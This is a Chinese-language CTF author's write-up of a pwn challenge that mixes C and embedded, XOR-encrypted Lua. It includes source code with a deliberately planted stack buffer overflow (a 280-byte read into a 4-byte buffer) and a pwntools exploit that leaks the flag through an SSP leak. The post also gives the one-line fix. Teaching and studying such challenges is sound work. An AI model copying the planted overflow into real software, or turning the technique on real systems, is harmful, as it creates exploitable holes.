pwn

An interacting pwn

in Lua

Posted by pic4xiu on September 24, 2020

前言

前段时间打了国赛,出了道bulid的pwn题,用到了几个杂而有趣的知识点,玩起来不太常规,做起来甚至可以说是有点难受,在此记录一下。

题目链接

文末也有链接

出题思路

最近学了学安卓,想到了一个之前分析过的mobile案例,一个apk通过调用lua实现函数的重写(就是之前血洗高校的一个apk),觉得很好玩,决定应用到题目里边。

文件结构:一个二进制文件,一个加密过的Lua文件,一个flag文件。

程序流程:

  • 二进制程序部署在特定端口,使用nc访问
  • 程序起来后会加载加密过的lua文件到内存,之后程序在内存中解密lua程序,在程序中输入字符,将字符交给lua进行处理,必须满足某种关系程序才能向下进行。
  • 完成绕过后选择了缓冲区溢出,文件没关canary,用ssp leak可以直接把flag读出来。整体看下来就是一个披着pwn题外衣的C加lua程序逆向题。
  • 因为用到了好多C语言lua库函数的好多函数,用ida分析程序会发现非常恶心,得仔细扣,之前没接触过这种的还得现学。

环境搭建

题目源码

写的时候现学现卖,请师傅们指教

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <lua5.1/lua.h>
#include <lua5.1/lualib.h>
#include <lua5.1/lauxlib.h>
char flag[0x20];
char* c;
uint8_t *enc(uint8_t *data, int size) {//加密函数,和解密函数完全一致
	uint8_t *temp = (uint8_t *)malloc(size);
	int k[3]={2,3,5};
	int i;
	if (size) {
		for (i = 0; i < size; i++) {
			temp[i] = data[i]^k[i%3];
		}
	return temp;
	}
}
int main()
{
	setvbuf(stdout,0,2,0);
	FILE *f = fopen("main.lua", "rb");//读入同目录加密过的lua文件
	if (f == NULL)
		return -1;
	fseek(f, 0, SEEK_END);
	long file_size = ftell(f);
	uint8_t *buf = (uint8_t *)malloc(file_size);
	rewind(f);
	fread(buf, sizeof(char), file_size, f);
	uint8_t *rea = enc(buf,file_size);
	lua_State *luaEnv = lua_open();//创建一个新的lua_State
	luaopen_base(luaEnv);
	luaL_openlibs(luaEnv);
	if(!luaEnv)
	{
		return -1;
	}
	int loadInfo = luaL_loadstring(luaEnv,rea);//以字符串形式把解密过的lua语句load进去
	if(loadInfo)
	{
		return -1;
	}

	int i,j,a,k=3;
	puts("Hello I'm lua.\nLet's experience something different");
	while(k){
		puts("Enter two numbers in your heart;)");
		scanf("%d",&i);
		scanf("%d",&j);
		lua_pcall(luaEnv,0,0,0);
		lua_getglobal(luaEnv,"hndl");//找这个名字的函数
		lua_pushnumber(luaEnv,i);//以堆栈形式传参
		lua_pushnumber(luaEnv,j);
		puts("mamimami hon~~~~");
		lua_pcall(luaEnv,2,1,0);//完成调用,之后的参数分别是参数个数、返回值个数和错误处理函数(0表示无)
		a=lua_tonumber(luaEnv,-1);//同样以堆栈方式取值
		puts("who am I?");
		sleep(1);
		printf("%d!!\n",a);
		if(a==random())//和伪加密数进行比较
			k--;//重复次数
		else
		{	puts("Your ideas are different from Lua's :( sry");
			exit(0);
		}
	}
	char b[4];
	FILE *fp;
	fp = fopen("flag","r");
	fread(flag,1,0x20,fp);
	puts("All right,the magic failed");
	read(0,b,280);
	return 0;
}
//gcc -o Lua_magic te.c -llua5.1

看下lua加密前的源码

function BitXOR(a,b)
    local p,c=1,0
    while a>0 and b>0 do
        local ra,rb=a%2,b%2
        if ra~=rb then c=c+p end
        a,b,p=(a-ra)/2,(b-rb)/2,p*2
    end
    if a<b then a=b end
    while a>0 do
        local ra=a%2
        if ra>0 then c=c+p end
        a,p=(a-ra)/2,p*2
    end
    return c
end

function hndl(i,j)
	j = BitXOR(5977654,j)
	return BitXOR(i,j)
end

由于lua5.1不支持位运算,有必要写个异或运算函数到lua文件里边。我没改BitXOR名字,直接用了师傅的轮子。同时作为白嫖党吃人嘴短,做异或处理的时候用的5977654和stackoverflow的轮子qustionid对应

解题思路

选手拿题后应该是一个Lua_magic和经过处理enc过的main.lua,lua文件长这样

用ida简单看下Lua_magic

其实还好,用到的都分析出来了,之后就是动态调试程序,把内存中解密完的lua程序dump出来(enc执行完后下断)

然后一起结合dump出来的lua程序和ida一起分析就好了。

随机数的生成自己写个C脚本:

算起来的话就反着来就行,和1异或完和5977654异或就好了

最后进入最后一步

读入0x118字节,完全够了,全暴力填flag的bss地址就好,exp如下

from pwn import *
#ip=sys.argv[1]
#port=sys.argv[2]
context.log_level = 'debug'
p=process('./Lua_magic')
#p = remote(ip, port)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("1808823120")
sleep(1)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("840963569")
sleep(1)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("1684516446")
sleep(1)
p.send(p64(0x602140)*35)
#p.interactive()

修复 & 总结

因为b就4个字节,patch成read(0,b,4);即可完成修复。

这题流程比较长,在划分题目难度的时候觉得难点和亮点都在lua那块,就归到了中等难度。在好几个地方都能上一个难度系数,如加解密lua语句函数enc、lua脚本处理输入逻辑、read进去b后再搞个lua语句处理等,但想了想还是算了,觉得点到为止wei最佳,本身出这种题还是考验知识积累和快速学习,感觉再难点就偏了。

刚出完我觉得还是很有趣的,自己做完感觉几个考察的点还是有点僵硬,出题真的是门艺术。